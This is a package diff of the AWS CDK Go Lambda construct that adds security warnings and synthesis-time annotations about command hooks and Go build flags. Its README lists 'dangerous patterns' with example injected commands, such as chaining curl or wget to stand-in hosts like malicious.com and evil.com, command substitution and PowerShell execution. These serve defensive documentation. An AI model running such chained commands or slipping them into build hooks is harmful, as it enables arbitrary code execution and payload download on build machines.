+ "see": "https://docs.aws.amazon.com/cdk/latest/guide/security.html",
4562
4590
  "stability": "experimental",
4563
4591
  "summary": "Command hooks."
4564
4592
  },
@@ -4566,19 +4594,19 @@
4566
4594
  "kind": "interface",
4567
4595
  "locationInModule": {
4568
4596
  "filename": "lib/types.ts",
4569
- "line": 140
4597
+ "line": 163
4570
4598
  },
4571
4599
  "methods": [
4572
4600
  {
4573
4601
  "abstract": true,
4574
4602
  "docs": {
4575
- "remarks": "Commands are chained with `&&`.",
4603
+ "remarks": "⚠️ **Security Warning**: Ensure commands come from trusted sources only.\nCommands are executed directly in the shell environment.\n\nCommands are chained with `&&`.",
4576
4604
  "stability": "experimental",
4577
4605
  "summary": "Returns commands to run after bundling."
4578
4606
  },
4579
4607
  "locationInModule": {
4580
4608
  "filename": "lib/types.ts",
4581
- "line": 153
4609
+ "line": 182
4582
4610
  },
4583
4611
  "name": "afterBundling",
4584
4612
  "parameters": [
@@ -4609,13 +4637,13 @@
4609
4637
  {
4610
4638
  "abstract": true,
4611
4639
  "docs": {
4612
- "remarks": "Commands are chained with `&&`.",
4640
+ "remarks": "⚠️ **Security Warning**: Ensure commands come from trusted sources only.\nCommands are executed directly in the shell environment.\n\nCommands are chained with `&&`.",
4613
4641
  "stability": "experimental",
4614
4642
  "summary": "Returns commands to run before bundling."
4615
4643
  },
4616
4644
  "locationInModule": {
4617
4645
  "filename": "lib/types.ts",
4618
- "line": 146
4646
+ "line": 172
4619
4647
  },
4620
4648
  "name": "beforeBundling",
4621
4649
  "parameters": [
@@ -4648,6 +4676,6 @@
4648
4676
  "symbolId": "lib/types:ICommandHooks"
4649
4677
  }
4650
4678
  },
4651
- "version": "2.221.1-alpha.0",
4679
+ "version": "2.223.0-alpha.0",
4652
4680
  "fingerprint": "**********"
4653
4681
  }
Binary file
package/README.md CHANGED
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
170
170
  });
171
171
  ```
172
172
 
173
+ **⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
174
+
173
175
  By default this construct doesn't use any Go module proxies. This is contrary to
174
176
  a standard Go installation, which would use the Google proxy by default. To
175
177
  recreate that behavior, do the following:
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
200
202
 
201
203
  ## Command hooks
202
204
 
203
- It is possible to run additional commands by specifying the `commandHooks` prop:
205
+ It is possible to run additional commands by specifying the `commandHooks` prop:
204
206
 
205
- ```text
206
- // This example only available in TypeScript
207
+ ```ts
207
208
  // Run additional commands on a GoFunction via `commandHooks` property
208
209
  new go.GoFunction(this, 'handler', {
210
+ entry: 'cmd/api',
209
211
  bundling: {
210
212
  commandHooks: {
211
213
  // run tests
212
214
  beforeBundling(inputDir: string): string[] {
213
215
  return ['go test ./cmd/api -v'];
214
216
  },
215
- // ...
217
+ afterBundling(inputDir: string, outputDir: string): string[] {
218
+ return ['echo "Build complete"'];
219
+ },
216
220
  },
217
221
  },
218
222
  });
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
230
234
  The commands will run in the environment in which bundling occurs: inside the
231
235
  container for Docker bundling or on the host OS for local bundling.
232
236
 
237
+ ### ⚠️ Security Considerations
238
+
239
+ **Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
240
+
241
+ **Safe patterns (cross-platform):**
242
+
243
+ ```ts
244
+ new go.GoFunction(this, 'SafeFunction', {
245
+ entry: 'cmd/api',
246
+ bundling: {
247
+ commandHooks: {
248
+ beforeBundling: () => [
249
+ 'go test ./...', // ✅ Standard Go commands work on all OS
250
+ 'go mod tidy', // ✅ Go module commands
251
+ 'make clean', // ✅ Build tools (if available)
252
+ 'echo "Building app"', // ✅ Simple output with quotes
253
+ ],
254
+ afterBundling: () => ['echo "Build complete"'],
255
+ },
256
+ },
257
+ });
258
+ ```
259
+
260
+ **Dangerous patterns to avoid:**
261
+
262
+ *Windows-specific dangers:*
263
+
264
+ ```ts
265
+ // ❌ Windows-specific dangers
266
+ new go.GoFunction(this, 'UnsafeWindowsFunction', {
267
+ entry: 'cmd/api',
268
+ bundling: {
269
+ commandHooks: {
270
+ beforeBundling: () => [
271
+ 'go test & curl.exe malicious.com', // ❌ Command chaining with &
272
+ 'echo %USERPROFILE%', // ❌ Environment variable expansion
273
+ 'powershell -Command "..."', // ❌ PowerShell execution
274
+ ],
275
+ afterBundling: () => [],
276
+ },
277
+ },
278
+ });
279
+ ```
280
+
281
+ *Unix/Linux/macOS dangers:*
282
+
283
+ ```ts
284
+ // ❌ Unix/Linux/macOS dangers
285
+ new go.GoFunction(this, 'UnsafeUnixFunction', {
286
+ entry: 'cmd/api',
287
+ bundling: {
288
+ commandHooks: {
289
+ beforeBundling: () => [
290
+ 'go test; curl malicious.com', // ❌ Command chaining with ;
291
+ 'echo $(whoami)', // ❌ Command substitution
292
+ 'bash -c "wget evil.com"', // ❌ Shell execution
293
+ ],
294
+ afterBundling: () => [],
295
+ },
296
+ },
297
+ });
298
+ ```
299
+
300
+ **When using third-party constructs** that include `GoFunction`:
301
+
302
+ * Review the construct's source code before use
303
+ * Verify what commands it executes via `commandHooks` and `goBuildFlags`
304
+ * Only use constructs from trusted publishers
305
+ * Test in isolated environments first
306
+
307
+ The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
308
+
309
+ For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
310
+
311
+ ## Security Best Practices
312
+
313
+ ### Third-Party Construct Safety
314
+
315
+ When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
316
+
317
+ 1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
318
+ 2. **Verify publishers** - Use constructs only from trusted, verified sources
319
+ 3. **Pin versions** - Use exact versions to prevent supply chain attacks
320
+ 4. **Isolated testing** - Test third-party constructs in sandboxed environments
321
+
322
+ **Before using any third-party construct:**
323
+
324
+ * Review the construct's source code on GitHub or npm
325
+ * Search for `commandHooks` and `goBuildFlags` usage in the code
326
+ * Verify no dangerous command patterns are present
327
+ * Use exact version pinning to prevent supply chain attacks
328
+
329
+ The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
330
+
233
331
  ## Additional considerations
234
332
 
235
333
  Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.
package/lib/function.js CHANGED
@@ -40,6 +40,7 @@ const JSII_RTTI_SYMBOL_1 = Symbol.for("jsii.rtti");
40
40
  const fs = require("fs");
41
41
  const path = require("path");
42
42
  const lambda = require("aws-cdk-lib/aws-lambda");
43
+ const cdk = require("aws-cdk-lib/core");
43
44
  const bundling_1 = require("./bundling");
44
45
  const util_1 = require("./util");
45
46
  const metadata_resource_1 = require("aws-cdk-lib/core/lib/metadata-resource");
@@ -61,7 +62,7 @@ let GoFunction = (() => {
61
62
  GoFunction = _classThis = _classDescriptor.value;
62
63
  if (_metadata) Object.defineProperty(_classThis, Symbol.metadata, { enumerable: true, configurable: true, writable: true, value: _metadata });
63
64
  }
64
- static [JSII_RTTI_SYMBOL_1] = { fqn: "@aws-cdk/aws-lambda-go-alpha.GoFunction", version: "2.221.1-alpha.0" };
65
+ static [JSII_RTTI_SYMBOL_1] = { fqn: "@aws-cdk/aws-lambda-go-alpha.GoFunction", version: "2.223.0-alpha.0" };
65
66
  /** Uniquely identifies this class. */
66
67
  static PROPERTY_INJECTION_ID = '@aws-cdk.aws-lambda-go-alpha.GoFunction';
67
68
  /**
@@ -108,6 +109,13 @@ let GoFunction = (() => {
108
109
  }
109
110
  const runtime = props.runtime ?? lambda.Runtime.PROVIDED_AL2;
110
111
  const architecture = props.architecture ?? lambda.Architecture.X86_64;
112
+ // Security warnings for potentially unsafe bundling options
113
+ if (props.bundling?.goBuildFlags?.length) {
114
+ cdk.Annotations.of(scope).addWarningV2('@aws-cdk/aws-lambda-go-alpha:goBuildFlagsSecurityWarning', 'goBuildFlags can execute arbitrary commands during bundling. Ensure all flags come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html');
115
+ }
116
+ if (props.bundling?.commandHooks?.beforeBundling || props.bundling?.commandHooks?.afterBundling) {
117
+ cdk.Annotations.of(scope).addWarningV2('@aws-cdk/aws-lambda-go-alpha:commandHooksSecurityWarning', 'commandHooks can execute arbitrary commands during bundling. Ensure all commands come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html');
118
+ }
111
119
  super(scope, id, {
112
120
  ...props,
113
121
  runtime,
@@ -130,4 +138,4 @@ let GoFunction = (() => {
130
138
  return GoFunction = _classThis;
131
139
  })();
132
140
  exports.GoFunction = GoFunction;
133
- //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZnVuY3Rpb24uanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJmdW5jdGlvbi50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFBQSx5QkFBeUI7QUFDekIsNkJBQTZCO0FBQzdCLGlEQUFpRDtBQUVqRCx5Q0FBc0M7QUFFdEMsaUNBQWdDO0FBQ2hDLDhFQUE4RTtBQUM5RSwwRUFBMEU7QUErRDFFOztHQUVHO0lBRVUsVUFBVTs0QkFEdEIsb0NBQWtCOzs7O3NCQUNhLE1BQU0sQ0FBQyxRQUFROzBCQUF2QixTQUFRLFdBQWU7Ozs7WUFBL0MsNktBd0RDOzs7OztRQXZEQyxzQ0FBc0M7UUFDL0IsTUFBTSxDQUFVLHFCQUFxQixHQUFXLHlDQUF5QyxDQUFDO1FBQ2pHOztXQUVHO1FBQ0ksTUFBTSxDQUFVLGNBQWMsR0FBRywwQkFBMEIsQ0FBQztRQUVuRSxZQUFZLEtBQWdCLEVBQUUsRUFBVSxFQUFFLEtBQXNCOzs7Ozs7bURBUnJELFVBQVU7Ozs7WUFTbkIsSUFBSSxLQUFLLENBQUMsT0FBTyxJQUFJLENBQUMsS0FBSyxDQUFDLE9BQU8sQ0FBQyxNQUFNLEtBQUssTUFBTSxDQUFDLGFBQWEsQ0FBQyxFQUFFLElBQUksS0FBSyxDQUFDLE9BQU8sQ0FBQyxNQUFNLElBQUksTUFBTSxDQUFDLGFBQWEsQ0FBQyxLQUFLLENBQUMsRUFBRSxDQUFDO2dCQUM5SCxNQUFNLElBQUksS0FBSyxDQUFDLGtEQUFrRCxDQUFDLENBQUM7WUFDdEUsQ0FBQztZQUVELE1BQU0sS0FBSyxHQUFHLElBQUksQ0FBQyxPQUFPLENBQUMsS0FBSyxDQUFDLEtBQUssQ0FBQyxDQUFDO1lBRXhDLHdCQUF3QjtZQUN4QixJQUFJLFNBQWlCLENBQUM7WUFDdEIsSUFBSSxLQUFLLENBQUMsU0FBUyxFQUFFLENBQUM7Z0JBQ3BCLE1BQU0sZUFBZSxHQUFHLElBQUksQ0FBQyxLQUFLLENBQUMsS0FBSyxDQUFDLFNBQVMsQ0FBQyxDQUFDO2dCQUNwRCxJQUFJLGVBQWUsQ0FBQyxJQUFJLElBQUksZUFBZSxDQUFDLEdBQUcsSUFBSSxlQUFlLENBQUMsSUFBSSxLQUFLLFFBQVEsRUFBRSxDQUFDO29CQUNyRixJQUFJLENBQUMsRUFBRSxDQUFDLFVBQVUsQ0FBQyxLQUFLLENBQUMsU0FBUyxDQUFDLEVBQUUsQ0FBQzt3QkFDcEMsTUFBTSxJQUFJLEtBQUssQ0FBQyxrQkFBa0IsS0FBSyxDQUFDLFNBQVMsZ0JBQWdCLENBQUMsQ0FBQztvQkFDckUsQ0FBQztnQkFDSCxDQUFDO3FCQUFNLElBQUksZUFBZSxDQUFDLElBQUksSUFBSSxlQUFlLENBQUMsR0FBRyxJQUFJLGVBQWUsQ0FBQyxJQUFJLElBQUksUUFBUSxFQUFFLENBQUM7b0JBQzNGLE1BQU0sSUFBSSxLQUFLLENBQUMsbURBQW1ELENBQUMsQ0FBQztnQkFDdkUsQ0FBQztxQkFBTSxJQUFJLENBQUMsRUFBRSxDQUFDLFVBQVUsQ0FBQyxJQUFJLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxTQUFTLEVBQUUsUUFBUSxDQUFDLENBQUMsRUFBRSxDQUFDO29CQUNoRSxNQUFNLElBQUksS0FBSyxDQUFDLGtCQUFrQixLQUFLLENBQUMsU0FBUyxnQkFBZ0IsQ0FBQyxDQUFDO2dCQUNyRSxDQUFDO2dCQUNELFNBQVMsR0FBRyxLQUFLLENBQUMsU0FBUyxDQUFDO1lBQzlCLENBQUM7aUJBQU0sQ0FBQztnQkFDTixNQUFNLE9BQU8sR0FBRyxJQUFBLGFBQU0sRUFBQyxRQUFRLEVBQUUsS0FBSyxDQUFDLENBQUM7Z0JBQ3hDLElBQUksQ0FBQyxPQUFPLEVBQUUsQ0FBQztvQkFDYixNQUFNLElBQUksS0FBSyxDQUFFLHlEQUF5RCxDQUFDLENBQUM7Z0JBQzlFLENBQUM7Z0JBQ0QsU0FBUyxHQUFHLE9BQU8sQ0FBQztZQUN0QixDQUFDO1lBRUQsTUFBTSxPQUFPLEdBQUcsS0FBSyxDQUFDLE9BQU8sSUFBSSxNQUFNLENBQUMsT0FBTyxDQUFDLFlBQVksQ0FBQztZQUM3RCxNQUFNLFlBQVksR0FBRyxLQUFLLENBQUMsWUFBWSxJQUFJLE1BQU0sQ0FBQyxZQUFZLENBQUMsTUFBTSxDQUFDO1lBRXRFLEtBQUssQ0FBQyxLQUFLLEVBQUUsRUFBRSxFQUFFO2dCQUNmLEdBQUcsS0FBSztnQkFDUixPQUFPO2dCQUNQLElBQUksRUFBRSxtQkFBUSxDQUFDLE1BQU0sQ0FBQztvQkFDcEIsR0FBRyxLQUFLLENBQUMsUUFBUSxJQUFJLEVBQUU7b0JBQ3ZCLEtBQUs7b0JBQ0wsT0FBTztvQkFDUCxZQUFZO29CQUNaLFNBQVM7aUJBQ1YsQ0FBQztnQkFDRixPQUFPLEVBQUUsV0FBVyxFQUFFLDRFQUE0RTthQUNuRyxDQUFDLENBQUM7WUFFSCxtQ0FBbUM7WUFDbkMsSUFBQSx3Q0FBb0IsRUFBQyxJQUFJLEVBQUUsS0FBSyxDQUFDLENBQUM7U0FDbkM7O1lBdkRVLHVEQUFVOzs7OztBQUFWLGdDQUFVIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgZnMgZnJvbSAnZnMnO1xuaW1wb3J0ICogYXMgcGF0aCBmcm9tICdwYXRoJztcbmltcG9ydCAqIGFzIGxhbWJkYSBmcm9tICdhd3MtY2RrLWxpYi9hd3MtbGFtYmRhJztcbmltcG9ydCB7IENvbnN0cnVjdCB9IGZyb20gJ2NvbnN0cnVjdHMnO1xuaW1wb3J0IHsgQnVuZGxpbmcgfSBmcm9tICcuL2J1bmRsaW5nJztcbmltcG9ydCB7IEJ1bmRsaW5nT3B0aW9ucyB9IGZyb20gJy4vdHlwZXMnO1xuaW1wb3J0IHsgZmluZFVwIH0gZnJvbSAnLi91dGlsJztcbmltcG9ydCB7IGFkZENvbnN0cnVjdE1ldGFkYXRhIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvbWV0YWRhdGEtcmVzb3VyY2UnO1xuaW1wb3J0IHsgcHJvcGVydHlJbmplY3RhYmxlIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvcHJvcC1pbmplY3RhYmxlJztcblxuLyoqXG4gKiBQcm9wZXJ0aWVzIGZvciBhIEdvbGFuZ0Z1bmN0aW9uXG4gKi9cbmV4cG9ydCBpbnRlcmZhY2UgR29GdW5jdGlvblByb3BzIGV4dGVuZHMgbGFtYmRhLkZ1bmN0aW9uT3B0aW9ucyB7XG4gIC8qKlxuICAgKiBUaGUgcGF0aCB0byB0aGUgZm9sZGVyIG9yIGZpbGUgdGhhdCBjb250YWlucyB0aGUgbWFpbiBhcHBsaWNhdGlvbiBlbnRyeSBwb2ludCBmaWxlcyBmb3IgdGhlIHByb2plY3QuXG4gICAqXG4gICAqIFRoaXMgYWNjZXB0cyBlaXRoZXIgYSBwYXRoIHRvIGEgZGlyZWN0b3J5IG9yIGZpbGUuXG4gICAqXG4gICAqIElmIGEgZGlyZWN0b3J5IHBhdGggaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIGFzc3VtZSB0aGVyZSBpcyBhIEdvIGVudHJ5IGZpbGUgKGkuZS4gYG1haW4uZ29gKSBhbmRcbiAgICogd2lsbCBjb25zdHJ1Y3QgdGhlIGJ1aWxkIGNvbW1hbmQgdXNpbmcgdGhlIGRpcmVjdG9yeSBwYXRoLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZSwgaWYgeW91IHByb3ZpZGUgdGhlIGVudHJ5IGFzOlxuICAgKlxuICAgKiAgICAgZW50cnk6ICdteS1sYW1iZGEtYXBwL2NtZC9hcGknXG4gICAqXG4gICAqIFRoZW4gdGhlIGBnbyBidWlsZGAgY29tbWFuZCB3b3VsZCBiZTpcbiAgICpcbiAgICogICAgIGBnbyBidWlsZCAuL2NtZC9hcGlgXG4gICAqXG4gICAqIElmIGEgcGF0aCB0byBhIGZpbGUgaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIHVzZSB0aGUgZmlsZXBhdGggaW4gdGhlIGJ1aWxkIGNvbW1hbmQuXG4gICAqXG4gICAqIEZvciBleGFtcGxlLCBpZiB5b3UgcHJvdmlkZSB0aGUgZW50cnkgYXM6XG4gICAqXG4gICAqICAgICBlbnRyeTogJ215LWxhbWJkYS1hcHAvY21kL2FwaS9tYWluLmdvJ1xuICAgKlxuICAgKiBUaGVuIHRoZSBgZ28gYnVpbGRgIGNvbW1hbmQgd291bGQgYmU6XG4gICAqXG4gICAqICAgICBgZ28gYnVpbGQgLi9jbWQvYXBpL21haW4uZ29gXG4gICAqL1xuICByZWFkb25seSBlbnRyeTogc3RyaW5nO1xuXG4gIC8qKlxuICAgKiBUaGUgcnVudGltZSBlbnZpcm9ubWVudC4gT25seSBydW50aW1lcyBvZiB0aGUgR29sYW5nIGZhbWlseSBhbmQgcHJvdmlkZWQgZmFtaWx5IGFyZSBzdXBwb3J0ZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMlxuICAgKi9cbiAgcmVhZG9ubHkgcnVudGltZT86IGxhbWJkYS5SdW50aW1lO1xuXG4gIC8qKlxuICAgKiBEaXJlY3RvcnkgY29udGFpbmluZyB5b3VyIGdvLm1vZCBmaWxlXG4gICAqXG4gICAqIFRoaXMgd2lsbCBhY2NlcHQgZWl0aGVyIGEgZGlyZWN0b3J5IHBhdGggY29udGFpbmluZyBhIGBnby5tb2RgIGZpbGVcbiAgICogb3IgYSBmaWxlcGF0aCB0byB5b3VyIGBnby5tb2RgIGZpbGUgKGkuZS4gYHBhdGgvdG8vZ28ubW9kYCkuXG4gICAqXG4gICAqIFRoaXMgd2lsbCBiZSB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIHZvbHVtZSBtb3VudGVkIGluIHRoZSBEb2NrZXJcbiAgICogY29udGFpbmVyIGFuZCB3aWxsIGJlIHRoZSBkaXJlY3Rvcnkgd2hlcmUgaXQgd2lsbCBydW4gYGdvIGJ1aWxkYCBmcm9tLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIHRoZSBwYXRoIGlzIGZvdW5kIGJ5IHdhbGtpbmcgdXAgcGFyZW50IGRpcmVjdG9yaWVzIHNlYXJjaGluZyBmb3JcbiAgICogIGEgYGdvLm1vZGAgZmlsZSBmcm9tIHRoZSBsb2NhdGlvbiBvZiBgZW50cnlgXG4gICAqL1xuICByZWFkb25seSBtb2R1bGVEaXI/OiBzdHJpbmc7XG5cbiAgLyoqXG4gICAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgZGVmYXVsdCBidW5kbGluZyBvcHRpb25zXG4gICAqL1xuICByZWFkb25seSBidW5kbGluZz86IEJ1bmRsaW5nT3B0aW9ucztcbn1cblxuLyoqXG4gKiBBIEdvbGFuZyBMYW1iZGEgZnVuY3Rpb25cbiAqL1xuQHByb3BlcnR5SW5qZWN0YWJsZVxuZXhwb3J0IGNsYXNzIEdvRnVuY3Rpb24gZXh0ZW5kcyBsYW1iZGEuRnVuY3Rpb24ge1xuICAvKiogVW5pcXVlbHkgaWRlbnRpZmllcyB0aGlzIGNsYXNzLiAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IFBST1BFUlRZX0lOSkVDVElPTl9JRDogc3RyaW5nID0gJ0Bhd3MtY2RrLmF3cy1sYW1iZGEtZ28tYWxwaGEuR29GdW5jdGlvbic7XG4gIC8qKlxuICAgKiBUaGUgYWRkcmVzcyBvZiB0aGUgR29vZ2xlIEdvIHByb3h5XG4gICAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IEdPT0dMRV9HT1BST1hZID0gJ2h0dHBzOi8vcHJveHkuZ29sYW5nLm9yZyc7XG5cbiAgY29uc3RydWN0b3Ioc2NvcGU6IENvbnN0cnVjdCwgaWQ6IHN0cmluZywgcHJvcHM6IEdvRnVuY3Rpb25Qcm9wcykge1xuICAgIGlmIChwcm9wcy5ydW50aW1lICYmIChwcm9wcy5ydW50aW1lLmZhbWlseSAhPT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuR08gJiYgcHJvcHMucnVudGltZS5mYW1pbHkgIT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuT1RIRVIpKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ09ubHkgYGdvYCBhbmQgYHByb3ZpZGVkYCBydW50aW1lcyBhcmUgc3VwcG9ydGVkLicpO1xuICAgIH1cblxuICAgIGNvbnN0IGVudHJ5ID0gcGF0aC5yZXNvbHZlKHByb3BzLmVudHJ5KTtcblxuICAgIC8vIEZpbmQgdGhlIHByb2plY3Qgcm9vdFxuICAgIGxldCBtb2R1bGVEaXI6IHN0cmluZztcbiAgICBpZiAocHJvcHMubW9kdWxlRGlyKSB7XG4gICAgICBjb25zdCBwYXJzZWRNb2R1bGVEaXIgPSBwYXRoLnBhcnNlKHByb3BzLm1vZHVsZURpcik7XG4gICAgICBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSA9PT0gJ2dvLm1vZCcpIHtcbiAgICAgICAgaWYgKCFmcy5leGlzdHNTeW5jKHByb3BzLm1vZHVsZURpcikpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICAgIH1cbiAgICAgIH0gZWxzZSBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSAhPSAnZ28ubW9kJykge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ21vZHVsZURpciBpcyBzcGVjaWZ5aW5nIGEgZmlsZSB0aGF0IGlzIG5vdCBnby5tb2QnKTtcbiAgICAgIH0gZWxzZSBpZiAoIWZzLmV4aXN0c1N5bmMocGF0aC5qb2luKHByb3BzLm1vZHVsZURpciwgJ2dvLm1vZCcpKSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBwcm9wcy5tb2R1bGVEaXI7XG4gICAgfSBlbHNlIHtcbiAgICAgIGNvbnN0IG1vZEZpbGUgPSBmaW5kVXAoJ2dvLm1vZCcsIGVudHJ5KTtcbiAgICAgIGlmICghbW9kRmlsZSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IgKCdDYW5ub3QgZmluZCBnby5tb2QuIFBsZWFzZSBzcGVjaWZ5IGl0IHdpdGggYG1vZHVsZURpcmAuJyk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBtb2RGaWxlO1xuICAgIH1cblxuICAgIGNvbnN0IHJ1bnRpbWUgPSBwcm9wcy5ydW50aW1lID8/IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMjtcbiAgICBjb25zdCBhcmNoaXRlY3R1cmUgPSBwcm9wcy5hcmNoaXRlY3R1cmUgPz8gbGFtYmRhLkFyY2hpdGVjdHVyZS5YODZfNjQ7XG5cbiAgICBzdXBlcihzY29wZSwgaWQsIHtcbiAgICAgIC4uLnByb3BzLFxuICAgICAgcnVudGltZSxcbiAgICAgIGNvZGU6IEJ1bmRsaW5nLmJ1bmRsZSh7XG4gICAgICAgIC4uLnByb3BzLmJ1bmRsaW5nID8/IHt9LFxuICAgICAgICBlbnRyeSxcbiAgICAgICAgcnVudGltZSxcbiAgICAgICAgYXJjaGl0ZWN0dXJlLFxuICAgICAgICBtb2R1bGVEaXIsXG4gICAgICB9KSxcbiAgICAgIGhhbmRsZXI6ICdib290c3RyYXAnLCAvLyBzZXR0aW5nIG5hbWUgdG8gYm9vdHN0cmFwIHNvIHRoYXQgdGhlICdwcm92aWRlZCcgcnVudGltZSBjYW4gYWxzbyBiZSB1c2VkXG4gICAgfSk7XG5cbiAgICAvLyBFbmhhbmNlZCBDREsgQW5hbHl0aWNzIFRlbGVtZXRyeVxuICAgIGFkZENvbnN0cnVjdE1ldGFkYXRhKHRoaXMsIHByb3BzKTtcbiAgfVxufVxuXG4iXX0=
141
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZnVuY3Rpb24uanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJmdW5jdGlvbi50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFBQSx5QkFBeUI7QUFDekIsNkJBQTZCO0FBQzdCLGlEQUFpRDtBQUNqRCx3Q0FBd0M7QUFFeEMseUNBQXNDO0FBRXRDLGlDQUFnQztBQUNoQyw4RUFBOEU7QUFDOUUsMEVBQTBFO0FBK0QxRTs7R0FFRztJQUVVLFVBQVU7NEJBRHRCLG9DQUFrQjs7OztzQkFDYSxNQUFNLENBQUMsUUFBUTswQkFBdkIsU0FBUSxXQUFlOzs7O1lBQS9DLDZLQXVFQzs7Ozs7UUF0RUMsc0NBQXNDO1FBQy9CLE1BQU0sQ0FBVSxxQkFBcUIsR0FBVyx5Q0FBeUMsQ0FBQztRQUNqRzs7V0FFRztRQUNJLE1BQU0sQ0FBVSxjQUFjLEdBQUcsMEJBQTBCLENBQUM7UUFFbkUsWUFBWSxLQUFnQixFQUFFLEVBQVUsRUFBRSxLQUFzQjs7Ozs7O21EQVJyRCxVQUFVOzs7O1lBU25CLElBQUksS0FBSyxDQUFDLE9BQU8sSUFBSSxDQUFDLEtBQUssQ0FBQyxPQUFPLENBQUMsTUFBTSxLQUFLLE1BQU0sQ0FBQyxhQUFhLENBQUMsRUFBRSxJQUFJLEtBQUssQ0FBQyxPQUFPLENBQUMsTUFBTSxJQUFJLE1BQU0sQ0FBQyxhQUFhLENBQUMsS0FBSyxDQUFDLEVBQUUsQ0FBQztnQkFDOUgsTUFBTSxJQUFJLEtBQUssQ0FBQyxrREFBa0QsQ0FBQyxDQUFDO1lBQ3RFLENBQUM7WUFFRCxNQUFNLEtBQUssR0FBRyxJQUFJLENBQUMsT0FBTyxDQUFDLEtBQUssQ0FBQyxLQUFLLENBQUMsQ0FBQztZQUV4Qyx3QkFBd0I7WUFDeEIsSUFBSSxTQUFpQixDQUFDO1lBQ3RCLElBQUksS0FBSyxDQUFDLFNBQVMsRUFBRSxDQUFDO2dCQUNwQixNQUFNLGVBQWUsR0FBRyxJQUFJLENBQUMsS0FBSyxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsQ0FBQztnQkFDcEQsSUFBSSxlQUFlLENBQUMsSUFBSSxJQUFJLGVBQWUsQ0FBQyxHQUFHLElBQUksZUFBZSxDQUFDLElBQUksS0FBSyxRQUFRLEVBQUUsQ0FBQztvQkFDckYsSUFBSSxDQUFDLEVBQUUsQ0FBQyxVQUFVLENBQUMsS0FBSyxDQUFDLFNBQVMsQ0FBQyxFQUFFLENBQUM7d0JBQ3BDLE1BQU0sSUFBSSxLQUFLLENBQUMsa0JBQWtCLEtBQUssQ0FBQyxTQUFTLGdCQUFnQixDQUFDLENBQUM7b0JBQ3JFLENBQUM7Z0JBQ0gsQ0FBQztxQkFBTSxJQUFJLGVBQWUsQ0FBQyxJQUFJLElBQUksZUFBZSxDQUFDLEdBQUcsSUFBSSxlQUFlLENBQUMsSUFBSSxJQUFJLFFBQVEsRUFBRSxDQUFDO29CQUMzRixNQUFNLElBQUksS0FBSyxDQUFDLG1EQUFtRCxDQUFDLENBQUM7Z0JBQ3ZFLENBQUM7cUJBQU0sSUFBSSxDQUFDLEVBQUUsQ0FBQyxVQUFVLENBQUMsSUFBSSxDQUFDLElBQUksQ0FBQyxLQUFLLENBQUMsU0FB